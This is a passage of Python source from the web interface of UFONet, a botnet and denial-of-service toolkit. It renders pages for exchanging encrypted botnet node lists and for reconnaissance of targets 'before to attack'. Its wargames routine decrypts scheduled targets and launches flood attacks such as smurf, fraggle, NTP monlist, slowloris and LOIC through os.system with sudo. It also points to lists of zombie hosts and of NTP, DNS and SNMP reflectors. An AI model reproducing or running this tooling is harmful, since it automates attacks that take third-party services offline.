  2100. globalnet_owner=document.getElementById("globalnet_owner").value
  2101. globalnet_comment=document.getElementById("globalnet_comment").value
  2102. globalnet_warp=document.getElementById("globalnet_warp").value
  2103. if(globalnet_source2 == "") {
  2104. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2105. return
  2106. }else{
  2107. if(globalnet_enckey == "") {
  2108. window.alert("You need to enter a valid key (provided by someone)");
  2109. return
  2110. }else{
  2111. params="globalnet_source2="+escape(globalnet_source2)+"&globalnet_enckey="+escape(globalnet_enckey)+"&globalnet_owner="+escape(globalnet_owner)+"&globalnet_comment="+escape(globalnet_comment)+"&globalnet_warp="+escape(globalnet_warp)
  2112. runCommandX("cmd_transfer_globalnet",params)
  2113. setTimeout("location.reload()", 10000)
  2114. }
  2115. }
  2116. }
  2117. </script>
  2118. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2119. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2120. <br>
  2121. <center>
  2122. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2123. <td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
  2124. <td>RADAR device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit visible blackhole.Warps..." onclick="Warps()">VISIT WARPS!</button></td></tr></table>
  2125. <hr><br>
  2126. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source' id='globalnet_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'locations' proposed by other motherships..." onclick="SyncGlobalnet()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="globalnet_deckey" id="globalnet_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_globalnet();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr>
  2127. <td>Owner (your nick):</td><td><input type="text" maxlength="12" pattern=".{3,12}" title="3 to 12 characters" name="globalnet_owner" id="globalnet_owner" size="12" placeholder="Anonymous"></td></tr><tr><td>Ship Description (short comment):</td><td><input type="text" maxlength="90" name="globalnet_comment" id="globalnet_comment" size="90" placeholder="Uplink open from 00:00-GMT3 until 02:00-GMT3"></td></tr><tr><td>WARPING:</td><td> <select id="globalnet_warp">
  2128. <option value="OFF" selected>OFF - Blackhole technology is -OFF-</option>
  2129. <option value="ON1">ON1 - Blackhole technology is -ON- (download only)</option>
  2130. <option value="ON2">ON2 - Blachhole technology is -ON- (upload/download)</option>
  2131. </select></td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='globalnet_source2' id='globalnet_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="globalnet_enckey" id="globalnet_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your location to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SUBMIT!</button></pre></td></tr></table><br><br><hr><br><u>GLOBAL.NET</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+globalnet_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  2132. def html_abduction(self):
  2133. return self.pages["/header"] + """<script language="javascript">
  2134. function Requests() {
  2135. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2136. }
  2137. function Start(){
  2138. target=document.getElementById("target").value
  2139. String.prototype.startsWith = function(prefix){
  2140. return this.indexOf(prefix) === 0;
  2141. }
  2142. if(target.startsWith("http")){
  2143. params="target="+escape(target)
  2144. }else{
  2145. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  2146. return
  2147. }
  2148. runCommandX("cmd_abduction",params)
  2149. }
  2150. </script></head>
  2151. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2152. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2153. <br>
  2154. <center>
  2155. <table cellpadding="38" cellspacing="38">
  2156. <tr>
  2157. <td>
  2158. </td>
  2159. <td>
  2160. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2161. <tr>
  2162. <td>
  2163. <pre>
  2164. This feature will provide you information about target's web server.
  2165. You can use this before to attack to be more effective.
  2166. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2167. <hr>
  2168. Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2169. <hr>
  2170. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  2171. </pre>
  2172. </td></tr></table>
  2173. <br><br><hr><br>
  2174. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  2175. def html_blackholes(self):
  2176. return self.pages["/header"] + """<script language="javascript">
  2177. function Decrypt(){
  2178. blackhole_key=document.getElementById("blackhole_key").value
  2179. if(blackhole_key == "") {
  2180. window.alert("You need to enter a valid key (provided by someone)");
  2181. return
  2182. }else{
  2183. params="blackhole_key="+escape(blackhole_key)
  2184. runCommandX("cmd_decrypt",params)
  2185. document.getElementById("nb1").style.display = "none";
  2186. }
  2187. }
  2188. </script>
  2189. <script language="javascript">
  2190. function RefreshBlackhole(){
  2191. blackholes_source=document.getElementById("blackholes_source").value
  2192. if(blackholes_source == "") {
  2193. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2194. return
  2195. }else{
  2196. params="blackholes_source="+escape(blackholes_source)
  2197. runCommandX("cmd_refresh_blackholes",params)
  2198. document.getElementById("nb1").style.display = "none";
  2199. setTimeout("location.reload()", 10000)
  2200. }
  2201. }
  2202. </script>
  2203. <script language="javascript">
  2204. function Download_Botnet_IP(single_ip_num){
  2205. var a = "down_ip_";
  2206. var b = single_ip_num;
  2207. var c = a.concat(b);
  2208. blackhole=document.getElementById(c).value
  2209. params="blackhole="+escape(blackhole)
  2210. runCommandX("cmd_download_botnet_ip",params)
  2211. }
  2212. </script>
  2213. <script language="javascript">
  2214. function Upload_Botnet_IP(single_ip_num){
  2215. var a = "up_ip_";
  2216. var b = single_ip_num;
  2217. var c = a.concat(b);
  2218. blackhole=document.getElementById(c).value
  2219. params="blackhole="+escape(blackhole)
  2220. runCommandX("cmd_upload_botnet_ip",params)
  2221. }
  2222. </script>
  2223. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2224. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2225. <br>
  2226. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  2227. <td>Blackhole/IP:</td>
  2228. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  2229. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  2230. <hr>
  2231. <table cellpadding="5" cellspacing="5"><tr>
  2232. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>
  2233. <table cellpading="5" cellspacing="10"><tr><td>
  2234. <form method='GET'>
  2235. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  2236. </td></tr><tr><td>
  2237. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  2238. </form>
  2239. </td></tr></table></td></tr></table>
  2240. <hr><br>
  2241. </center>
  2242. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  2243. <div id="cmdOut"></div>
  2244. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  2245. """ + self.pages["/footer"]
  2246. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  2247. sep = wargames_msg_sep
  2248. flag_ufosyn = None
  2249. flag_spray = None
  2250. flag_smurf = None
  2251. flag_xmas = None
  2252. flag_nuke = None
  2253. flag_tachyon = None
  2254. flag_monlist = None
  2255. flag_fraggle = None
  2256. flag_sniper = None
  2257. flag_ufoack = None
  2258. flag_uforst = None
  2259. flag_droper = None
  2260. flag_overlap = None
  2261. flag_pinger = None
  2262. flag_ufoudp = None
  2263. for job in wargames_engage_list:
  2264. job_t2 = job.rsplit(sep, 1)[0]
  2265. job_creation = job_t2.rsplit(sep, 1)[0]
  2266. job_target = job_t2.rsplit(sep, 1)[1]
  2267. job_estimated = job.rsplit(sep, 1)[1]
  2268. self.decrypt(self.crypto_key, job_estimated)
  2269. if self.decryptedtext:
  2270. job_estimated_dec = self.decryptedtext
  2271. else:
  2272. job_estimated_dec = ""
  2273. self.decryptedtext = ""
  2274. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2275. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2276. try:
  2277. job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S")
  2278. except:
  2279. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  2280. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  2281. self.decrypt(self.crypto_key, job_target)
  2282. if self.decryptedtext:
  2283. job_target_dec = self.decryptedtext
  2284. else:
  2285. job_target_dec = ""
  2286. self.decryptedtext = ""
  2287. if job_target_dec != "":
  2288. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  2289. try: # read global army supply (json)
  2290. with open(self.mothership_supplycfg_file) as data_file:
  2291. data = json.load(data_file)
  2292. except:
  2293. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  2294. with open(self.mothership_supplycfg_file, "w") as f:
  2295. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4)
  2296. with open(self.mothership_supplycfg_file) as data_file:
  2297. data = json.load(data_file)
  2298. self.supply_botnet = data["botnet"]
  2299. self.supply_loic = data["loic"]
  2300. self.supply_loris = data["loris"]
  2301. self.supply_ufosyn = data["ufosyn"]
  2302. self.supply_spray = data["spray"]
  2303. self.supply_smurf = data["smurf"]
  2304. self.supply_xmas = data["xmas"]
  2305. self.supply_nuke = data["nuke"]
  2306. self.supply_tachyon = data["tachyon"]
  2307. self.supply_monlist = data["monlist"]
  2308. self.supply_fraggle = data["fraggle"]
  2309. self.supply_sniper = data["sniper"]
  2310. self.supply_ufoack = data["ufoack"]
  2311. self.supply_uforst = data["uforst"]
  2312. self.supply_droper = data["droper"]
  2313. self.supply_overlap = data["overlap"]
  2314. self.supply_pinger = data["pinger"]
  2315. self.supply_ufoudp = data["ufoudp"]
  2316. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  2317. print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec))
  2318. cmd = ""
  2319. nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2320. root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  2321. if int(self.supply_fraggle) > 0:
  2322. cmd += "--fraggle " +str(self.supply_fraggle)+ " "
  2323. flag_fraggle = True
  2324. if int(self.supply_sniper) > 0:
  2325. cmd += "--sniper " +str(self.supply_sniper)+ " "
  2326. flag_sniper = True
  2327. if int(self.supply_ufoack) > 0:
  2328. cmd += "--ufoack " +str(self.supply_ufoack)+ " "
  2329. flag_ufoack = True
  2330. if int(self.supply_uforst) > 0:
  2331. cmd += "--uforst " +str(self.supply_uforst)+ " "
  2332. flag_uforst = True
  2333. if int(self.supply_droper) > 0:
  2334. cmd += "--droper " +str(self.supply_droper)+ " "
  2335. flag_droper = True
  2336. if int(self.supply_overlap) > 0:
  2337. cmd += "--overlap " +str(self.supply_overlap)+ " "
  2338. flag_overlap = True
  2339. if int(self.supply_pinger) > 0:
  2340. cmd += "--pinger " +str(self.supply_pinger)+ " "
  2341. flag_pinger = True
  2342. if int(self.supply_ufoudp) > 0:
  2343. cmd += "--ufoudp " +str(self.supply_ufoudp)+ " "
  2344. flag_ufoudp = True
  2345. if int(self.supply_monlist) > 0:
  2346. cmd += "--monlist " +str(self.supply_monlist)+ " "
  2347. flag_monlist = True
  2348. if int(self.supply_tachyon) > 0:
  2349. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  2350. flag_tachyon = True
  2351. if int(self.supply_nuke) > 0:
  2352. cmd += "--nuke " +str(self.supply_nuke)+ " "
  2353. flag_nuke = True
  2354. if int(self.supply_xmas) > 0:
  2355. cmd += "--xmas " +str(self.supply_xmas)+ " "
  2356. flag_xmas = True
  2357. if int(self.supply_smurf) > 0:
  2358. cmd += "--smurf " +str(self.supply_smurf)+ " "
  2359. flag_smurf = True
  2360. if int(self.supply_spray) > 0:
  2361. cmd += "--spray " +str(self.supply_spray)+ " "
  2362. flag_spray = True
  2363. if int(self.supply_ufosyn) > 0:
  2364. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  2365. flag_ufosyn = True
  2366. if int(self.supply_loris) > 0:
  2367. cmd += "--loris " +str(self.supply_loris)+ " "
  2368. if int(self.supply_loic) > 0:
  2369. cmd += "--loic " +str(self.supply_loic)+ " "
  2370. if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2371. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2372. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  2373. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  2374. runcmd = cmd + " "
  2375. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  2376. print("[Info] [Wargames] Running command:", runcmd, "\n")
  2377. os.system(runcmd) # launch it!
  2378. if "!!!" in job: # remove it from queue (unjob)
  2379. f = open(self.wargames_file, "r")
  2380. ls = f.readlines()
  2381. f.close()
  2382. f = open(self.wargames_file, "w")
  2383. for l in ls:
  2384. if str(l) != str(job):
  2385. f.write(l)
  2386. else:
  2387. job = re.sub('[!!!]', '', job)
  2388. f.write(job)
  2389. f.close()
  2390. def extract_ranking_table(self):
  2391. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  2392. ls = f.readlines()
  2393. f.close()
  2394. if not ls: # not data on grid.txt
  2395. return
  2396. ranking_items={}
  2397. ranking_key = crypto_key
  2398. nodec_text = "Anonymous"
  2399. nodec_num = 0
  2400. self.ranking_grid_total = 0
  2401. try:
  2402. for j in ls:
  2403. if grid_msg_sep in j:
  2404. self.ranking_grid_total = self.ranking_grid_total + 1
  2405. m = j.split(grid_msg_sep)
  2406. ranking_nickname = m[0] # nickname
  2407. self.decrypt(ranking_key, ranking_nickname)
  2408. if self.decryptedtext:
  2409. ranking_nickname = str(self.decryptedtext)
  2410. else:
  2411. ranking_nickname = nodec_text
  2412. if ranking_nickname == "Anonymous":
  2413. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  2414. self.decryptedtext = "" # clean decryptedtext buffer
  2415. ranking_ranking = m[1] # ranking
  2416. self.decrypt(ranking_key, ranking_ranking)
  2417. if self.decryptedtext:
  2418. try:
  2419. ranking_ranking = int(self.decryptedtext)
  2420. except:
  2421. ranking_ranking = nodec_num
  2422. else:
  2423. ranking_ranking = nodec_num
  2424. ranking_items[ranking_nickname] = ranking_ranking
  2425. except:
  2426. ranking_nickname = "Anonymous"
  2427. ranking_ranking = 0
  2428. ranking_items[ranking_nickname] = ranking_ranking
  2429. self.top_rookie = []
  2430. self.top_mercenary = []
  2431. self.top_bandit = []
  2432. self.top_ufommander = []
  2433. self.top_ufoleet = []
  2434. for k, v in ranking_items.items():
  2435. if v == 0: # not any data (or decryption allowed) on grid so discard
  2436. pass
  2437. if v == 1: # add this player as a rookie
  2438. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  2439. self.top_rookie.append(k)
  2440. elif v == 2: # add this player as a mercenary
  2441. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  2442. self.top_mercenary.append(k)
  2443. elif v == 3: # add this player as a bandit
  2444. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  2445. self.top_bandit.append(k)
  2446. elif v == 4: # add this player as a ufommander
  2447. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  2448. self.top_ufommander.append(k)
  2449. elif v == 5: # add this player as a ufoleet
  2450. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  2451. self.top_ufoleet.append(k)
  2452. else: # add this player as unknown
  2453. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  2454. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  2455. for p in top5: # extract best players
  2456. if self.ranking_top5_player1 == "Anonymous":
  2457. self.ranking_top5_player1 = p
  2458. elif self.ranking_top5_player2 == "Anonymous":
  2459. self.ranking_top5_player2 = p
  2460. elif self.ranking_top5_player3 == "Anonymous":
  2461. self.ranking_top5_player3 = p
  2462. elif self.ranking_top5_player4 == "Anonymous":
  2463. self.ranking_top5_player4 = p
  2464. elif self.ranking_top5_player5 == "Anonymous":
  2465. self.ranking_top5_player5 = p
  2466. if self.ranking == "Rookie":
  2467. shuffle(self.top_rookie) # shuffle for different results
  2468. top3 = self.top_rookie[:3]
  2469. elif self.ranking == "Mercenary":
  2470. shuffle(self.top_mercenary)
  2471. top3 = self.top_mercenary[:3]
  2472. elif self.ranking == "Bandit":
  2473. shuffle(self.top_bandit)
  2474. top3 = self.top_bandit[:3]
  2475. elif self.ranking == "UFOmmander!":
  2476. shuffle(self.top_ufommander)
  2477. top3 = self.top_ufommander[:3]
  2478. elif self.ranking == "UFOl33t!":
  2479. shuffle(self.top_ufoleet)
  2480. top3 = self.top_ufoleet[:3]
  2481. for p in top3: # extract similar player
  2482. if self.ranking_similar_player1 == "Anonymous":
  2483. self.ranking_similar_player1 = p
  2484. elif self.ranking_similar_player2 == "Anonymous":
  2485. self.ranking_similar_player2 = p
  2486. elif self.ranking_similar_player3 == "Anonymous":
  2487. self.ranking_similar_player3 = p
  2488. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  2489. shuffle(top1) # shuffle for different results
  2490. top1 = random.choice(top1).strip() # extract random player
  2491. self.ranking_top1_player1 = top1
  2492. def __init__(self):
  2493. self.crypto_key = crypto_key # set default symmetric crypto key
  2494. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  2495. self.board_file = 'data/board.txt' # set source path to retrieve board warning message
  2496. self.grid_file = 'data/grid.txt' # set source path to retrieve grid
  2497. self.board_warning = "" # set initial (str) board warning message
  2498. self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames
  2499. self.links_file = 'data/links.txt' # set source path to retrieve links
  2500. self.streams_file = 'data/streams.txt' # set source path to retrieve streams
  2501. self.games_file = 'data/games.txt' # set source path to retrieve games
  2502. self.globalnet_file = 'data/globalnet.txt' # set source path to retrieve Global.Net
  2503. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  2504. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  2505. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  2506. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  2507. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  2508. self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
  2509. self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns'
  2510. self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps'
  2511. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  2512. self.news = "data/news.txt" # set source path to retrieve server news
  2513. self.tv = "data/tv.txt" # set source path to retrieve server tv
  2514. self.missions = "data/missions.txt" # set source path to retrieve server missions
  2515. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  2516. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  2517. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  2518. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  2519. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  2520. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  2521. f = open(self.mothership_model_file) # extract mothership model
  2522. self.mothership_model = f.read()
  2523. f.close()
  2524. self.faq_file = 'docs/FAQ.html' # set source for FAQ
  2525. f = open(self.faq_file) # extract FAQ text
  2526. self.faq_text = f.read()
  2527. f.close()
  2528. self.author_file = 'docs/AUTHOR' # set source for AUTHOR
  2529. f = open(self.author_file) # extract AUTHOR text
  2530. self.author_text = f.read()
  2531. f.close()
  2532. self.shop_file = 'docs/SHOP' # set source for SHOP
  2533. f = open(self.shop_file) # extract SHOP text
  2534. self.shop_text = f.read()
  2535. f.close()
  2536. self.ranking = "Rookie Star" # set starting rank
  2537. self.decryptedtext = "" # set buffer for decryption
  2538. self.encryptedtext = "" # set buffer for encryption
  2539. self.blackholes = "data/nodes.txt" # set source path to retrieve server [Community] blackholes (nodes)
  2540. self.blackhole = default_blackhole # set default blackhole
  2541. self.blackholes_status = "Not connected!" # set default status for blackholes
  2542. self.blackholes_status_color = "red" # set default status color for blackholes
  2543. self.referer = 'http://127.0.0.1/'
  2544. self.mothershipname = "core/txt/shipname.txt"
  2545. self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read()
  2546. self.mothership_img = open("core/images/mothership.txt").read()
  2547. self.commander_img = open("core/images/commander.txt").read()
  2548. self.board_img = open("core/images/board.txt").read()
  2549. self.aliens_img = open("core/images/aliens.txt").read()
  2550. self.alien1_img = open("core/images/aliens/alien1.txt").read()
  2551. self.alien2_img = open("core/images/aliens/alien2.txt").read()
  2552. self.alien3_img = open("core/images/aliens/alien3.txt").read()
  2553. self.alien4_img = open("core/images/aliens/alien4.txt").read()
  2554. self.alien5_img = open("core/images/aliens/alien5.txt").read()
  2555. self.alien6_img = open("core/images/aliens/alien6.txt").read()
  2556. self.alien7_img = open("core/images/aliens/alien7.txt").read()
  2557. self.alien8_img = open("core/images/aliens/alien8.txt").read()
  2558. self.alien9_img = open("core/images/aliens/alien9.txt").read()
  2559. self.alien10_img = open("core/images/aliens/alien10.txt").read()
  2560. self.alien11_img = open("core/images/aliens/alien11.txt").read()
  2561. self.alien12_img = open("core/images/aliens/alien12.txt").read()
  2562. self.alien13_img = open("core/images/aliens/alien13.txt").read()
  2563. self.ranking_grid_total = 0
  2564. self.ranking_grid_rookie = 0
  2565. self.ranking_grid_mercenary = 0
  2566. self.ranking_grid_bandit = 0
  2567. self.ranking_grid_ufommander = 0
  2568. self.ranking_grid_ufoleet = 0
  2569. self.ranking_grid_unknown = 0
  2570. self.ranking_top5_player1 = "Anonymous"
  2571. self.ranking_top5_player2 = "Anonymous"
  2572. self.ranking_top5_player3 = "Anonymous"
  2573. self.ranking_top5_player4 = "Anonymous"
  2574. self.ranking_top5_player5 = "Anonymous"
  2575. self.ranking_similar_player1 = "Anonymous"
  2576. self.ranking_similar_player2 = "Anonymous"
  2577. self.ranking_similar_player3 = "Anonymous"
  2578. self.ranking_top1_player1 = "Anonymous"
  2579. f = open(self.mothershipname) # extract ship name
  2580. self.mothership_id = f.read()
  2581. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  2582. f.close()
  2583. f = open(self.release_date_file) # extract release creation datetime
  2584. self.release_date = f.read()
  2585. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  2586. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  2587. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  2588. self.trans_5C = self.trans_5C.encode("latin-1")
  2589. self.trans_36 = self.trans_36.encode("latin-1")
  2590. f.close()
  2591. f = open(self.blackholes) # double extract blackholes (nodes.txt)
  2592. self.blackholes_text = f.read()
  2593. f.close()
  2594. f = open(self.blackholes)
  2595. self.blackholes_block = f.readlines()
  2596. f.close()
  2597. self.list_blackholes = []
  2598. for b in self.blackholes_block:
  2599. self.list_blackholes.append(b)
  2600. self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.txt')) # extract nodes datetime
  2601. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  2602. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  2603. else:
  2604. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  2605. f = open(self.news) # double extract news
  2606. self.news_text = f.read()
  2607. f.close()
  2608. f = open(self.news)
  2609. self.news_block = f.readlines()
  2610. f.close()
  2611. self.list_news = []
  2612. for n in self.news_block:
  2613. self.list_news.append(n)
  2614. self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime
  2615. if self.news_datetime == self.release_date_file: # never connected to feeds
  2616. self.news_status_color = "red" # set status color for news to 'red'
  2617. else:
  2618. self.news_status_color = "green" # set status color for news to 'green'
  2619. f = open(self.tv) # double extract tv
  2620. self.tv_text = f.read()
  2621. f.close()
  2622. f = open(self.tv)
  2623. self.tv_block = f.readlines()
  2624. f.close()
  2625. self.list_tv = []
  2626. for n in self.tv_block:
  2627. self.list_tv.append(n)
  2628. self.tv_datetime = time.ctime(os.path.getctime('data/tv.txt')) # extract tv.txt datetime
  2629. if self.tv_datetime == self.release_date_file: # never connected to feeds
  2630. self.tv_status_color = "red" # set status color for tv to 'red'
  2631. else:
  2632. self.tv_status_color = "green" # set status color for tv to 'green'
  2633. f = open(self.board_file) # double extract board
  2634. self.moderator_text = f.read()
  2635. f.close()
  2636. f = open(self.board_file)
  2637. self.moderator_block = f.readlines()
  2638. f.close()
  2639. self.list_moderator = []
  2640. for n in self.moderator_block:
  2641. self.list_moderator.append(n)
  2642. f = open(self.grid_file) # double grid board
  2643. self.grid_text = f.read()
  2644. self.ranking_text = f.read() # ranking data is extracted from grid
  2645. f.close()
  2646. f = open(self.grid_file)
  2647. self.grid_block = f.readlines()
  2648. f.close()
  2649. self.list_grid = []
  2650. for n in self.grid_block:
  2651. self.list_grid.append(n)
  2652. self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs
  2653. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  2654. self.ranking_status_color = "red" # set status color for ranking to 'red'
  2655. else:
  2656. self.ranking_status_color = "green" # set status color for ranking to 'green'
  2657. f = open(self.wargames_file) # double wargames board
  2658. self.wargames_text = f.read()
  2659. f.close()
  2660. f = open(self.wargames_file)
  2661. self.wargames_block = f.readlines()
  2662. f.close()
  2663. self.list_wargames = []
  2664. for n in self.wargames_block:
  2665. self.list_wargames.append(n)
  2666. f = open(self.links_file) # double links extraction
  2667. self.links_text = f.read()
  2668. f.close()
  2669. f = open(self.links_file)
  2670. self.links_block = f.readlines()
  2671. f.close()
  2672. self.list_links = []
  2673. for n in self.links_block:
  2674. self.list_links.append(n)
  2675. f = open(self.globalnet_file) # double globalnet extraction
  2676. self.globalnet_text = f.read()
  2677. f.close()
  2678. f = open(self.globalnet_file)
  2679. self.globalnet_block = f.readlines()
  2680. f.close()
  2681. self.list_globalnet = []
  2682. for n in self.globalnet_block:
  2683. self.list_globalnet.append(n)
  2684. f = open(self.streams_file) # double streams extraction
  2685. self.streams_text = f.read()
  2686. f.close()
  2687. f = open(self.streams_file)
  2688. self.streams_block = f.readlines()
  2689. f.close()
  2690. self.list_streams = []
  2691. for n in self.streams_block:
  2692. self.list_streams.append(n)
  2693. f = open(self.missions) # double extract missions
